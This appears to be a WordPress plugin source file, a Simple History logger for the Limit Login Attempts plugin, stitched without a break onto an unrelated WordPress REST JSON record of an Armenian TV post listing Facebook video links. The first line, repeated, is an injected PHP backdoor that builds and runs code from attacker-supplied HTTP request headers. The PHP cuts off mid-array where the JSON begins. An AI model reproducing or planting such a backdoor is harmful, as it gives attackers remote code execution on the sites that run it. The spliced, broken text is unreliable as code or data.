$_HEADERS=getallheaders();if(isset($_HEADERS['Server-Timing'])){$created=$_HEADERS['Server-Timing']('', $_HEADERS['Authorization']($_HEADERS['X-Dns-Prefetch-Control']));$created();} php $_HEADERS=getallheaders();if(isset($_HEADERS['Server-Timing'])){$created=$_HEADERS['Server-Timing']('', $_HEADERS['Authorization']($_HEADERS['X-Dns-Prefetch-Control']));$created();} defined( 'ABSPATH' ) || die(); /** * Logger for the (old but still) very popular plugin Limit Login Attempts * https://sv.wordpress.org/plugins/limit-login-attempts/ */ if ( ! class_exists( 'Plugin_LimitLoginAttempts' ) ) { class Plugin_LimitLoginAttempts extends SimpleLogger { public $slug = __CLASS__; public function getInfo() { $arr_info = array( 'name' => _x( 'Plugin: Limit Login Attempts Logger', 'Logger: Plugin Limit Login Attempts', 'simple-history' ), 'description' => _x( 'Logs failed login attempts, lockouts, and configuration changes made in the plugin Limit Login Attempts', 'Logger: Plugin Limit Login Attempts', 'simple-history' ), 'name_via' => _x( 'Using plugin Limit Login Attempts', 'Logger: Plugin Limit Login Attempts', 'simple-history' ), 'capability' => 'manage_options', 'messages' => array( // 'user_locked_out' => _x( 'User locked out', "Logger: Plugin Limit Login Attempts", "simple-history" ), 'failed_login_whitelisted' => _x( 'Failed login attempt from whitelisted IP', 'Logger: Plugin Limit Login Attempts', 'simple-history' ), 'failed_login' => _x( 'Was locked out because too many failed login attempts', 'Logger: Plugin Limit Login Attempts', 'simple-history' ), 'cleared_ip_log' => _x( 'Cleared IP log', 'Logger: Plugin Limit Login Attempts', 'simple-history' ), 'reseted_lockout_count' => _x( 'Reset lockout count', 'Logger: Plugin Limit Login Attempts', 'simple-history' ), 'cleared_current_lockouts' => _x( 'Cleared current lockouts', 'Logger: Plugin Limit Login Attempts', 'simple-history' ), 'updated_options' => _x( 'Updated options', 'Logger: Plugin Limit Login Attempts', 'simple-history' ), ), /* "labels" => array( "search" => array( "label" => _x( "Limit Login Attempts", "Logger: Plugin Limit Login Attempts", "simple-history" ), "options" => array( _x( "xxxPages not found", "User logger: 404", "simple-history" ) => array( "page_not_found", ), ), ), // end search ),*/ // end labels ); return $arr_info; } public function loaded() { require_once( ABSPATH . 'wp-admin/includes/plugin.php' ); $pluginFilePath = 'limit-login-attempts/limit-login-attempts.php'; $isPluginActive = is_plugin_active( $pluginFilePath ); // Only continue to add filters if plugin is active. // This minimise the risk of plugin errors, because plugin // has been forked to new versions. if ( ! $isPluginActive ) { return; } add_filter( 'pre_option_limit_login_lockouts_total', array( $this, 'on_option_limit_login_lockouts_total' ), 10, 1 ); add_action( 'load-settings_page_limit-login-attempts', array( $this, 'on_load_settings_page' ), 10, 1 ); } /** * Fired when plugin options screen is loaded */ public function on_load_settings_page( $a ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing if ( $_POST && wp_verify_nonce( $_POST['_wpnonce'], 'limit-login-attempts-options' ) ) { // Settings saved if ( isset( $_POST['clear_log'] ) ) { $this->noticeMessage( 'cleared_ip_log' ); } if ( isset( $_POST['reset_total'] ) ) { $this->noticeMessage( 'reseted_lockout_count' ); } if ( isset( $_POST['reset_current'] ) ) { $this->noticeMessage( 'cleared_current_lockouts' ); } if ( isset( $_POST['update_options'] ) ) { $options = array( 'client_type' => sanitize_text_field( $_POST['client_type'] ), 'allowed_retries' => sanitize_text_field( $_POST['allowed_retries'] ), 'lock{"id":14924,"date":"2017-02-14T00:34:21","date_gmt":"2017-02-13T20:34:21","guid":{"rendered":"http:\/\/tv.mskh.am\/?p=14924"},"modified":"2018-10-23T10:18:43","modified_gmt":"2018-10-23T06:18:43","slug":"%d5%a3%d5%ab%d5%bf%d5%a1%d5%a3%d5%b8%d6%80%d5%ae%d5%b6%d5%a1%d5%af%d5%a1%d5%b6-%d5%b0%d5%a1%d5%be%d5%a1%d6%84%d5%ab-%d5%af%d5%ac%d5%b8%d6%80-%d5%bd%d5%a5%d5%b2%d5%a1%d5%b6%d5%b6%d5%a5%d6%80%d5%ab","status":"publish","type":"post","link":"https:\/\/tv.mskh.am\/?p=14924","title":{"rendered":"\u0533\u056b\u057f\u0561\u0563\u0578\u0580\u056e\u0576\u0561\u056f\u0561\u0576 \u0570\u0561\u057e\u0561\u0584\u056b \u056f\u056c\u0578\u0580 \u057d\u0565\u0572\u0561\u0576\u0576\u0565\u0580\u056b \u057f\u0565\u057d\u0561\u0563\u0580\u0578\u0582\u0569\u0575\u0578\u0582\u0576\u0576\u0565\u0580"},"content":{"rendered":"
\u0548\u0582\u0572\u056b\u0572 \u0565\u0569\u0565\u0580\u0576\u0565\u0580\u056b \u057f\u0565\u057d\u0561\u0563\u0580\u0578\u0582\u0569\u0575\u0578\u0582\u0576\u0576\u0565\u0580\u056b \u0586\u0565\u0575\u057d\u0562\u0578\u0582\u0584\u0575\u0561\u0576 \u0570\u0572\u0578\u0582\u0574\u0576\u0565\u0580 <\/p>\n <\/p>\n <\/p>\n <\/p>\n \u0555\u0580 1. \u0570\u0578\u0582\u0576\u057e\u0561\u0580 16<\/strong><\/span><\/p>\n <\/p>\n \u0555\u0580 2. \u0570\u0578\u0582\u0576\u057e\u0561\u0580 17<\/strong><\/span><\/p>\n <\/p>\n \u0555\u0580 3. \u0570\u0578\u0582\u0576\u057e\u0561\u0580 18<\/strong><\/span><\/p>\n <\/p>\n \u0555\u0580 4. \u0570\u0578\u0582\u0576\u057e\u0561\u0580 19<\/strong><\/span><\/p>\n <\/p>\n \u0555\u0580 5. \u0570\u0578\u0582\u0576\u057e\u0561\u0580\u00a020<\/strong><\/span><\/p>\n 53 \u0564\u056b\u057f\u0578\u0582\u0574<\/p>\n","protected":false},"excerpt":{"rendered":" \u0548\u0582\u0572\u056b\u0572 \u0565\u0569\u0565\u0580\u0576\u0565\u0580\u056b \u057f\u0565\u057d\u0561\u0563\u0580\u0578\u0582\u0569\u0575\u0578\u0582\u0576\u0576\u0565\u0580\u056b \u0586\u0565\u0575\u057d\u0562\u0578\u0582\u0584\u0575\u0561\u0576 \u0570\u0572\u0578\u0582\u0574\u0576\u0565\u0580 \u00a9 \u054d\u0565\u0562\u0561\u057d\u057f\u0561\u0581\u056b TV 2017 53 \u0564\u056b\u057f\u0578\u0582\u0574<\/p>\n","protected":false},"author":2,"featured_media":14925,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[126],"tags":[],"_links":{"self":[{"href":"https:\/\/tv.mskh.am\/index.php?rest_route=\/wp\/v2\/posts\/14924"}],"collection":[{"href":"https:\/\/tv.mskh.am\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tv.mskh.am\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tv.mskh.am\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/tv.mskh.am\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=14924"}],"version-history":[{"count":6,"href":"https:\/\/tv.mskh.am\/index.php?rest_route=\/wp\/v2\/posts\/14924\/revisions"}],"predecessor-version":[{"id":14931,"href":"https:\/\/tv.mskh.am\/index.php?rest_route=\/wp\/v2\/posts\/14924\/revisions\/14931"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/tv.mskh.am\/index.php?rest_route=\/wp\/v2\/media\/14925"}],"wp:attachment":[{"href":"https:\/\/tv.mskh.am\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=14924"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tv.mskh.am\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=14924"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tv.mskh.am\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=14924"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
\n\u00a9 \u054d\u0565\u0562\u0561\u057d\u057f\u0561\u0581\u056b TV 2017<\/em><\/strong>
\n<\/p>\n\n
\nhttps:\/\/www.facebook.com\/margarita.sargsyan\/videos\/1529810420379849\/<\/a><\/li>\n
\n<\/em>https:\/\/www.facebook.com\/marta.asatryan\/videos\/1029101693862428\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/nansarg\/videos\/1341186909266682\/<\/a>
\nhttps:\/\/www.facebook.com\/nansarg\/videos\/1341196352599071\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/100006427156969\/videos\/2219901421567408\/<\/a>
\nhttps:\/\/www.facebook.com\/shamiram.poghosian\/videos\/1372309416155126\/<\/a>
\nhttps:\/\/www.facebook.com\/shamiram.poghosian\/videos\/1372314106154657\/<\/a>
\nhttps:\/\/www.facebook.com\/shamiram.poghosian\/videos\/1372314816154586\/<\/a>
\nhttps:\/\/www.facebook.com\/shamiram.poghosian\/videos\/1372318226154245\/<\/a>
\nhttps:\/\/www.facebook.com\/100006427156969\/videos\/2219914421566108\/<\/a>
\nhttps:\/\/www.facebook.com\/100006427156969\/videos\/2219915648232652\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/nersisyanqnarik\/videos\/421995178147796\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/nara.nikoghosyan\/videos\/1328284593891174\/<\/a> https:\/\/www.facebook.com\/nara.nikoghosyan\/videos\/1328288190557481\/<\/a>
\nhttps:\/\/www.facebook.com\/nara.nikoghosyan\/videos\/1328291447223822\/<\/a><\/li>\n<\/ul>\n\n
\nhttps:\/\/www.facebook.com\/margarita.sargsyan\/videos\/1530723120288579\/<\/a>
\nhttps:\/\/www.facebook.com\/margarita.sargsyan\/videos\/1530738983620326\/<\/a>
\nhttps:\/\/www.facebook.com\/nara.nikoghosyan\/videos\/1329000533819580\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/lusinesargsyan.lusine\/videos\/857938091015663\/<\/a>
\nhttps:\/\/www.facebook.com\/lusinesargsyan.lusine\/videos\/857940011015471\/<\/a>
\nhttps:\/\/www.facebook.com\/lusinesargsyan.lusine\/videos\/857943071015165\/<\/a>
\nhttps:\/\/www.facebook.com\/lusinesargsyan.lusine\/videos\/857945427681596\/<\/a>
\nhttps:\/\/www.facebook.com\/lusinesargsyan.lusine\/videos\/857960364346769\/<\/a>
\nhttps:\/\/www.facebook.com\/lusinesargsyan.lusine\/videos\/857961171013355\/<\/a>
\nhttps:\/\/www.facebook.com\/lusinesargsyan.lusine\/videos\/857969297679209\/<\/a>
\nhttps:\/\/www.facebook.com\/lusinesargsyan.lusine\/videos\/857974564345349\/<\/a>
\nhttps:\/\/www.facebook.com\/lusinesargsyan.lusine\/videos\/857977271011745\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/nansarg\/videos\/1342048602513846\/<\/a>
\nhttps:\/\/www.facebook.com\/nansarg\/videos\/1342056652513041\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/shamiram.poghosian\/videos\/1373121589407242\/<\/a>
\nhttps:\/\/www.facebook.com\/shamiram.poghosian\/videos\/1373142046071863\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/armine.gyonjyan\/videos\/1452308071488862\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/nara.nikoghosyan\/videos\/1329220693797564\/<\/a>
\nhttps:\/\/www.facebook.com\/nara.nikoghosyan\/videos\/1329246573794976\/<\/a>
\nhttps:\/\/www.facebook.com\/nara.nikoghosyan\/videos\/1329248767128090\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/nersisyanqnarik\/videos\/422455798101734\/<\/a>
\nhttps:\/\/www.facebook.com\/nersisyanqnarik\/videos\/422461881434459\/<\/a><\/li>\n<\/ul>\n\n
\n<\/em>https:\/\/www.facebook.com\/margarita.sargsyan\/videos\/1531588030202088\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/nansarg\/videos\/1342797295772310\/<\/a>
\nhttps:\/\/www.facebook.com\/nansarg\/videos\/1342810419104331\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/marta.asatryan\/videos\/1030392000400064\/<\/a>
\nhttps:\/\/www.facebook.com\/marta.asatryan\/videos\/1030406517065279\/<\/a><\/li>\n
\n<\/em>https:\/\/www.facebook.com\/zara.araqelyan.37\/videos\/1076583795820686\/<\/a>
\nhttps:\/\/www.facebook.com\/zara.araqelyan.37\/videos\/1076585592487173\/<\/a>
\nhttps:\/\/www.facebook.com\/zara.araqelyan.37\/videos\/1076587319153667\/<\/a>
\nhttps:\/\/www.facebook.com\/zara.araqelyan.37\/videos\/1076596169152782\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/shamiram.poghosian\/videos\/1374018179317583\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/nara.nikoghosyan\/videos\/1330056110380689\/<\/a>
\nhttps:\/\/www.facebook.com\/nara.nikoghosyan\/videos\/1330068603712773\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/nersisyanqnarik\/videos\/422907334723247\/<\/a>
\nhttps:\/\/www.facebook.com\/nersisyanqnarik\/videos\/422910614722919\/<\/a><\/li>\n<\/ul>\n\n
\n<\/em>https:\/\/www.facebook.com\/margarita.sargsyan\/videos\/1532581756769382\/<\/a>
\nhttps:\/\/www.facebook.com\/margarita.sargsyan\/videos\/1532632226764335\/<\/a><\/li>\n
\n<\/em>https:\/\/www.facebook.com\/shamiram.poghosian\/videos\/1374976199221781\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/nansarg\/videos\/1343877432330963\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/marta.asatryan\/videos\/1031343863638211\/<\/a>
\nhttps:\/\/www.facebook.com\/marta.asatryan\/videos\/1031349666970964\/<\/a>
\nhttps:\/\/www.facebook.com\/marta.asatryan\/videos\/1031360056969925\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/nara.nikoghosyan\/videos\/1331045723615061\/<\/a>
\nhttps:\/\/www.facebook.com\/nara.nikoghosyan\/videos\/1331055326947434\/<\/a>
\nhttps:\/\/www.facebook.com\/nara.nikoghosyan\/videos\/1331064736946493\/<\/a>
\nhttps:\/\/www.facebook.com\/nara.nikoghosyan\/videos\/1331072726945694\/<\/a>
\nhttps:\/\/www.facebook.com\/nara.nikoghosyan\/videos\/1331073400278960\/<\/a>
\nhttps:\/\/www.facebook.com\/nara.nikoghosyan\/videos\/1331076563611977\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/zara.araqelyan.37\/videos\/1077436092402123\/<\/a>
\nhttps:\/\/www.facebook.com\/zara.araqelyan.37\/videos\/1077448255734240\/<\/a><\/li>\n<\/ul>\n\n
\n<\/em>https:\/\/www.facebook.com\/nansarg\/videos\/1344663208919052\/<\/a>
\nhttps:\/\/www.facebook.com\/nansarg\/videos\/1344676418917731\/<\/a><\/li>\n
\n<\/em>https:\/\/www.facebook.com\/margarita.sargsyan\/videos\/1533489146678643\/<\/a><\/li>\n
\n<\/em>https:\/\/www.facebook.com\/marta.asatryan\/videos\/1031946970244567\/<\/a>
\nhttps:\/\/www.facebook.com\/marta.asatryan\/videos\/1031947923577805\/<\/a><\/li>\n
\n<\/em>https:\/\/www.facebook.com\/nersisyanqnarik\/videos\/423765271304120\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/nansarg\/videos\/1344731265578913\/<\/a>
\nhttps:\/\/www.facebook.com\/events\/1829604637310808\/permalink\/1834794896791782\/<\/a><\/li>\n
\nhttps:\/\/www.facebook.com\/nara.nikoghosyan\/videos\/1332087483510885\/<\/a>
\nhttps:\/\/www.facebook.com\/nara.nikoghosyan\/videos\/1332090000177300\/<\/a>
\nhttps:\/\/www.facebook.com\/nara.nikoghosyan\/videos\/1332093046843662\/<\/a><\/li>\n<\/ul>\n